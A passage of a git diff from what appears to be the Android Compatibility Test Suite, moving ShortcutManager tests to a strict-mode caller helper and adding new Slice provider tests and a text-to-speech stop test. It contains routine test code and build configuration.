         final Icon icon2 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
             getTestContext().getResources(), R.drawable.black_32x32));
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_2", true);
 
             retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
index 3e75b4a..8b7ae4e 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMaxCountTest.java
@@ -29,7 +29,7 @@
      * Basic tests: single app, single activity, no manifest shortcuts.
      */
     public void testNumDynamicShortcuts() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(makeShortcut("s1"))));
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1"),
@@ -101,7 +101,7 @@
      * Manifest shortcuts are included in the count too.
      */
     public void testWithManifest() throws Exception {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_1", true);
             enableManifestActivity("Launcher_manifest_2", true);
 
@@ -110,7 +110,7 @@
 
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getManifestShortcuts())
                     .haveIds("ms1", "ms21", "ms22")
                     .areAllManifest()
@@ -134,7 +134,7 @@
         testNumDynamicShortcuts();
 
         // Launcher_manifest_1 has one manifest, so can only add 4 dynamic shortcuts.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             setTargetActivityOverride("Launcher_manifest_1");
 
             assertTrue(getManager().setDynamicShortcuts(list(
@@ -163,7 +163,7 @@
         });
 
         // Launcher_manifest_2 has two manifests, so can only add 3.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             setTargetActivityOverride("Launcher_manifest_2");
 
             assertTrue(getManager().addDynamicShortcuts(list(
@@ -188,7 +188,7 @@
     }
 
     public void testChangeActivity() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             setTargetActivityOverride("Launcher");
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1"),
@@ -262,7 +262,7 @@
     }
 
     public void testWithPinned() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1"),
                     makeShortcut("s2"),
@@ -274,12 +274,12 @@
 
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
                     list("s1", "s2", "s3", "s4", "s5"), getUserHandle());
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s6"),
                     makeShortcut("s7"),
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
index 78dbccd..5ed5d52 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerMultiLauncherTest.java
@@ -16,6 +16,7 @@
 package android.content.pm.cts.shortcutmanager;
 
 import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_GET_KEY_FIELDS_ONLY;
+import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_PINNED_BY_ANY_LAUNCHER;
 import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_DYNAMIC;
 import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_MANIFEST;
 import static android.content.pm.LauncherApps.ShortcutQuery.FLAG_MATCH_PINNED;
@@ -266,6 +267,18 @@
                     .revertToOriginalList()
                     .selectByIds("ms32")
                     .areAllDisabled();
+
+            // Make sure "ALL_PINNED" doesn't work without the permission.
+            assertWith(getShortcutsAsLauncher(
+                    FLAG_MATCH_PINNED | FLAG_GET_KEY_FIELDS_ONLY
+                            | FLAG_MATCH_PINNED_BY_ANY_LAUNCHER,
+                    mPackageContext1.getPackageName()))
+                    .haveIds("s3", "s4", "ms22");
+            assertWith(getShortcutsAsLauncher(
+                    FLAG_MATCH_PINNED | FLAG_GET_KEY_FIELDS_ONLY
+                            | FLAG_MATCH_PINNED_BY_ANY_LAUNCHER,
+                    mPackageContext2.getPackageName()))
+                    .haveIds("s1", "s2", "s3", "ms32");
         });
     }
 }
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
index 756cf80..17f4cf7 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerRequestPinTest.java
@@ -65,7 +65,7 @@
 
         final String SHORTCUT_ID = "s12345";
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().isRequestPinShortcutSupported());
 
             ReplyUtil.invokeAndWaitForReply(getTestContext(), (replyAction) -> {
@@ -84,7 +84,7 @@
                 Log.i(TAG, "Done.");
             });
         });
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             final ShortcutQuery query = new ShortcutQuery()
                     .setPackage(mPackageContext1.getPackageName())
                     .setShortcutIds(list(SHORTCUT_ID))
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
index 9cf1f89..a66e8ed 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
@@ -53,7 +53,7 @@
 
         ShortcutLaunchedActivity.setExpectedOrder(expectedActions);
 
-        runWithCaller(launcher, () -> {
+        runWithCallerWithStrictMode(launcher, () -> {
             getLauncherApps().startShortcut(client.getPackageName(), id, rect, options,
                     getUserHandle());
         });
@@ -73,7 +73,7 @@
 
     private void assertShortcutCantStart(Context launcher, Context client, String id,
             Class<? extends Throwable> exceptionClass) {
-        runWithCaller(launcher, () -> {
+        runWithCallerWithStrictMode(launcher, () -> {
             assertExpectException(exceptionClass, "", () -> {
 
                 getLauncherApps().startShortcut(client.getPackageName(), id, null, null,
@@ -96,7 +96,7 @@
                 .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
                 .putExtra("k1", "v1");
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().addDynamicShortcuts(list(
                     makeShortcutBuilder("s1").setShortLabel("abc")
                             .setIntent(i).build()
@@ -128,7 +128,7 @@
                 .setComponent(mLaunchedActivity)
                 .putExtra("kx", "vx");
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().addDynamicShortcuts(list(
                     makeShortcutBuilder("s1").setShortLabel("abc")
                             .setIntents(new Intent[]{i1, i2, i3}).build()
@@ -182,7 +182,7 @@
         testStartMultiple();
 
         // then remove it.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().removeAllDynamicShortcuts();
         });
 
@@ -198,7 +198,7 @@
                 .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
                 .putExtra("k1", "v1");
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().addDynamicShortcuts(list(
                     makeShortcutBuilder("s1").setShortLabel("abc")
                             .setIntent(i).build()
@@ -219,13 +219,13 @@
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
         // then pin it.
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
                     list("s1"), getUserHandle());
         });
 
         // Then remove it.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().removeAllDynamicShortcuts();
         });
 
@@ -241,7 +241,7 @@
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
         // then pin it.
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
                     list("s1"), getUserHandle());
         });
@@ -257,7 +257,7 @@
         assertShortcutStarts(mLauncherContext2, mPackageContext1, "s1", EXPECTED_ACTIONS_SINGLE);
 
         // Then remove it.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().removeAllDynamicShortcuts();
         });
 
@@ -304,7 +304,7 @@
         Intent i = new Intent(Intent.ACTION_MAIN)
                 .setComponent(new ComponentName("abc", "def"));
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().addDynamicShortcuts(list(
                     makeShortcutBuilder("s1").setShortLabel("abc")
                             .setIntent(i).build()
@@ -329,7 +329,7 @@
                         "android.content.pm.cts.shortcutmanager.packages.package4",
                         "android.content.pm.cts.shortcutmanager.packages.Launcher"));
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().addDynamicShortcuts(list(
                     makeShortcutBuilder("s1").setShortLabel("abc")
                             .setIntent(i).build()
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
index 064ba58..50ce615 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerUsageTest.java
@@ -75,7 +75,7 @@
 
     public void testReportShortcutUsed() throws InterruptedException {
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_2", true);
 
             retryUntil(() -> getManager().getManifestShortcuts().size() > 0,
@@ -89,13 +89,13 @@
         final String idManifest = "ms21";
         final String idNonexistance = "nonexistence";
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut(id1),
                     makeShortcut(id2)
             )));
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut(id1),
                     makeShortcut(id3)
@@ -106,7 +106,7 @@
 
         // Report usage.
         final long start1 = System.currentTimeMillis() - USAGE_STATS_RANGE_ALLOWANCE;
-        runWithCaller(mPackageContext2, () -> getManager().reportShortcutUsed(id3));
+        runWithCallerWithStrictMode(mPackageContext2, () -> getManager().reportShortcutUsed(id3));
         final long end1 = System.currentTimeMillis() + USAGE_STATS_RANGE_ALLOWANCE;
 
         // Check the log.
@@ -115,7 +115,7 @@
 
         // Report usage.
         final long start2 = System.currentTimeMillis() - USAGE_STATS_RANGE_ALLOWANCE;
-        runWithCaller(mPackageContext1, () -> getManager().reportShortcutUsed(id1));
+        runWithCallerWithStrictMode(mPackageContext1, () -> getManager().reportShortcutUsed(id1));
         final long end2 = System.currentTimeMillis() + USAGE_STATS_RANGE_ALLOWANCE;
 
         // Check the log.
@@ -124,8 +124,8 @@
 
         // Report usage.
         final long start3 = System.currentTimeMillis() - USAGE_STATS_RANGE_ALLOWANCE;
-        runWithCaller(mPackageContext1, () -> getManager().reportShortcutUsed(idNonexistance));
-        runWithCaller(mPackageContext1, () -> getManager().reportShortcutUsed(idManifest));
+        runWithCallerWithStrictMode(mPackageContext1, () -> getManager().reportShortcutUsed(idNonexistance));
+        runWithCallerWithStrictMode(mPackageContext1, () -> getManager().reportShortcutUsed(idManifest));
         final long end3 = System.currentTimeMillis() + USAGE_STATS_RANGE_ALLOWANCE;
 
         // Check the log.
diff --git a/tests/tests/slice/Android.mk b/tests/tests/slice/Android.mk
new file mode 100644
index 0000000..184e8d4
--- /dev/null
+++ b/tests/tests/slice/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-util \
+    ctsdeviceutillegacy \
+    ctstestrunner \
+    mockito-target-minus-junit4 \
+    platform-test-annotations \
+    ub-uiautomator \
+    legacy-android-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSliceTestCases
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
new file mode 100644
index 0000000..87253c5
--- /dev/null
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.slice.cts">
+
+    <uses-permission android:name="android.permission.BIND_SLICE" />
+
+    <application android:label="Android TestCase"
+                android:icon="@drawable/size_48x48"
+                android:maxRecents="1"
+                android:multiArch="true"
+                android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+
+        <provider android:name=".SliceProvider"
+            android:authorities="android.slice.cts"
+            android:process=":slice_process" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.slice.cts"
+                     android:label="CTS tests of android.slice">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/slice/AndroidTest.xml b/tests/tests/slice/AndroidTest.xml
new file mode 100644
index 0000000..54e8b61
--- /dev/null
+++ b/tests/tests/slice/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Slice test cases">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSliceTestCases.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="pm grant android.slice.cts android.permission.BIND_SLICE" />
+        <option name="teardown-command" value="pm revoke android.slice.cts android.permission.BIND_SLICE"/>
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.slice.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/slice/res/drawable/size_48x48.jpg b/tests/tests/slice/res/drawable/size_48x48.jpg
new file mode 100644
index 0000000..5c2291e
--- /dev/null
+++ b/tests/tests/slice/res/drawable/size_48x48.jpg
Binary files differ
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProvider.java b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
new file mode 100644
index 0000000..265ea67
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.app.slice.Slice;
+import android.app.slice.Slice.Builder;
+
+public class SliceProvider extends android.app.slice.SliceProvider {
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Slice onBindSlice(Uri sliceUri) {
+        switch (sliceUri.getPath()) {
+            case "/set_flag":
+                SliceTest.sFlag = true;
+                break;
+            case "/subslice":
+                Builder b = new Builder(sliceUri);
+                return b.addSubSlice(new Slice.Builder(b).build(), "subslice").build();
+            case "/text":
+                return new Slice.Builder(sliceUri).addText("Expected text", "text").build();
+            case "/icon":
+                return new Slice.Builder(sliceUri).addIcon(
+                        Icon.createWithResource(getContext(), R.drawable.size_48x48), "icon").build();
+            case "/action":
+                Builder builder = new Builder(sliceUri);
+                Slice subSlice = new Slice.Builder(builder).build();
+                PendingIntent broadcast = PendingIntent.getBroadcast(getContext(), 0,
+                        new Intent(getContext().getPackageName() + ".action"), 0);
+                return builder.addAction(broadcast, subSlice, "action").build();
+            case "/color":
+                return new Slice.Builder(sliceUri).addColor(0xff121212, "color").build();
+            case "/timestamp":
+                return new Slice.Builder(sliceUri).addTimestamp(43, "timestamp").build();
+            case "/hints":
+                return new Slice.Builder(sliceUri)
+                        .addHints(Slice.HINT_LIST)
+                        .addText("Text", null, Slice.HINT_TITLE)
+                        .addIcon(Icon.createWithResource(getContext(), R.drawable.size_48x48),
+                                null, Slice.HINT_NO_TINT, Slice.HINT_LARGE)
+                        .build();
+        }
+        return new Slice.Builder(sliceUri).build();
+    }
+}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceTest.java b/tests/tests/slice/src/android/slice/cts/SliceTest.java
new file mode 100644
index 0000000..8efcf4c
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.app.PendingIntent.CanceledException;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.app.slice.Slice;
+import android.app.slice.SliceItem;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SliceTest {
+
+    public static boolean sFlag = false;
+
+    private static final Uri BASE_URI = Uri.parse("content://android.slice.cts/");
+    private final Context mContext = InstrumentationRegistry.getContext();
+
+    @Test
+    public void testProcess() {
+        sFlag = false;
+        Slice.bindSlice(mContext.getContentResolver(),
+                BASE_URI.buildUpon().appendPath("set_flag").build(),
+                Collections.emptyList());
+        assertFalse(sFlag);
+    }
+
+    @Test
+    public void testType() {
+        assertEquals(SliceProvider.SLICE_TYPE,
+                mContext.getContentResolver().getType(BASE_URI));
+    }
+
+    @Test
+    public void testSliceUri() {
+        Slice s = Slice.bindSlice(mContext.getContentResolver(), BASE_URI,
+                Collections.emptyList());
+        assertEquals(BASE_URI, s.getUri());
+    }
+
+    @Test
+    public void testSubSlice() {
+        Uri uri = BASE_URI.buildUpon().appendPath("subslice").build();
+        Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+                Collections.emptyList());
+        assertEquals(uri, s.getUri());
+        assertEquals(1, s.getItems().size());
+
+        SliceItem item = s.getItems().get(0);
+        assertEquals(SliceItem.FORMAT_SLICE, item.getFormat());
+        assertEquals("subslice", item.getSubType());
+        // The item should start with the same Uri as the parent, but be different.
+        assertTrue(item.getSlice().getUri().toString().startsWith(uri.toString()));
+        assertNotEquals(uri, item.getSlice().getUri());
+    }
+
+    @Test
+    public void testText() {
+        Uri uri = BASE_URI.buildUpon().appendPath("text").build();
+        Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+                Collections.emptyList());
+        assertEquals(uri, s.getUri());
+        assertEquals(1, s.getItems().size());
+
+        SliceItem item = s.getItems().get(0);
+        assertEquals(SliceItem.FORMAT_TEXT, item.getFormat());
+        // TODO: Test spannables here.
+        assertEquals("Expected text", item.getText());
+    }
+
+    @Test
+    public void testIcon() {
+        Uri uri = BASE_URI.buildUpon().appendPath("icon").build();
+        Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+                Collections.emptyList());
+        assertEquals(uri, s.getUri());
+        assertEquals(1, s.getItems().size());
+
+        SliceItem item = s.getItems().get(0);
+        assertEquals(SliceItem.FORMAT_IMAGE, item.getFormat());
+        assertEquals(Icon.createWithResource(mContext, R.drawable.size_48x48).toString(),
+                item.getIcon().toString());
+    }
+
+    @Test
+    public void testAction() {
+        sFlag = false;
+        CountDownLatch latch = new CountDownLatch(1);
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                sFlag = true;
+                latch.countDown();
+            }
+        };
+        mContext.registerReceiver(receiver,
+                new IntentFilter(mContext.getPackageName() + ".action"));
+        Uri uri = BASE_URI.buildUpon().appendPath("action").build();
+        Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+                Collections.emptyList());
+        assertEquals(uri, s.getUri());
+        assertEquals(1, s.getItems().size());
+
+        SliceItem item = s.getItems().get(0);
+        assertEquals(SliceItem.FORMAT_ACTION, item.getFormat());
+        try {
+            item.getAction().send();
+        } catch (CanceledException e) {
+        }
+
+        try {
+            latch.await(100, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        assertTrue(sFlag);
+        mContext.unregisterReceiver(receiver);
+    }
+
+    @Test
+    public void testColor() {
+        Uri uri = BASE_URI.buildUpon().appendPath("color").build();
+        Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+                Collections.emptyList());
+        assertEquals(uri, s.getUri());
+        assertEquals(1, s.getItems().size());
+
+        SliceItem item = s.getItems().get(0);
+        assertEquals(SliceItem.FORMAT_COLOR, item.getFormat());
+        assertEquals(0xff121212, item.getColor());
+    }
+
+    @Test
+    public void testTimestamp() {
+        Uri uri = BASE_URI.buildUpon().appendPath("timestamp").build();
+        Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+                Collections.emptyList());
+        assertEquals(uri, s.getUri());
+        assertEquals(1, s.getItems().size());
+
+        SliceItem item = s.getItems().get(0);
+        assertEquals(SliceItem.FORMAT_TIMESTAMP, item.getFormat());
+        assertEquals(43, item.getTimestamp());
+    }
+
+    @Test
+    public void testHints() {
+        // Note this tests that hints are propagated through to the client but not that any specific
+        // hints have any effects.
+        Uri uri = BASE_URI.buildUpon().appendPath("hints").build();
+        Slice s = Slice.bindSlice(mContext.getContentResolver(), uri,
+                Collections.emptyList());
+        assertEquals(uri, s.getUri());
+
+        assertEquals(Arrays.asList(Slice.HINT_LIST), s.getHints());
+        assertEquals(Arrays.asList(Slice.HINT_TITLE), s.getItems().get(0).getHints());
+        assertEquals(Arrays.asList(Slice.HINT_NO_TINT, Slice.HINT_LARGE),
+                s.getItems().get(1).getHints());
+    }
+}
diff --git a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
index 857ffd8..6b3abf6 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
@@ -15,6 +15,7 @@
  */
 package android.speech.tts.cts;
 
+import android.os.ConditionVariable;
 import android.media.AudioFormat;
 import android.os.ConditionVariable;
 import android.speech.tts.SynthesisCallback;
@@ -37,6 +38,10 @@
     // Object that onSynthesizeText will #block on, if set to non-null
     public static volatile ConditionVariable sSynthesizeTextWait;
 
+    // Condition variable that onSynthesizeText will #open when it started
+    // synethesizing, if set to non-null.
+    public static volatile ConditionVariable sSynthesizeTextStartEvent;
+
     private ArrayList<Locale> supportedLanguages = new ArrayList<Locale>();
     private ArrayList<Locale> supportedCountries = new ArrayList<Locale>();
     private ArrayList<Locale> GBFallbacks = new ArrayList<Locale>();
@@ -80,6 +85,11 @@
             return;
         }
 
+        final ConditionVariable synthesizeTextStartEvent = sSynthesizeTextStartEvent;
+        if (synthesizeTextStartEvent != null) {
+            sSynthesizeTextStartEvent.open();
+        }
+
         final ConditionVariable synthesizeTextWait = sSynthesizeTextWait;
         if (synthesizeTextWait != null) {
             synthesizeTextWait.block(10000);  // 10s timeout
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index 4d9faad..8e54d31 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -117,6 +117,27 @@
         }
     }
 
+    public void testSpeakStopBehindOtherAudioPlayback() throws Exception {
+        final ConditionVariable synthesizeTextWait = new ConditionVariable();
+        final ConditionVariable synthesizeTextStartEvent = new ConditionVariable();
+        StubTextToSpeechService.sSynthesizeTextWait = synthesizeTextWait;
+        StubTextToSpeechService.sSynthesizeTextStartEvent = synthesizeTextStartEvent;
+
+        // Make the audio playback queue busy by putting a 30s of silence.
+        getTts().stop();
+        getTts().playSilentUtterance(30000, TextToSpeech.QUEUE_ADD, "silence");
+
+        // speak(), wait it to starting in the service, and stop().
+        int result = getTts().speak(UTTERANCE, TextToSpeech.QUEUE_ADD, null, "stop");
+        assertEquals("speak() failed", TextToSpeech.SUCCESS, result);
+        assertTrue("synthesis not started", synthesizeTextStartEvent.block(10000));
+        getTts().stop();
+
+        // Wake up the Stubs #onSynthesizeSpeech (one that will be stopped in-progress)
+        synthesizeTextWait.open();
+
+        assertTrue("speak() stop callback timeout", mTts.waitForStop("stop"));
+    }
 
     public void testMediaPlayerFails() throws Exception {
         File sampleFile = new File(Environment.getExternalStorageDirectory(), "notsound.wav");
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
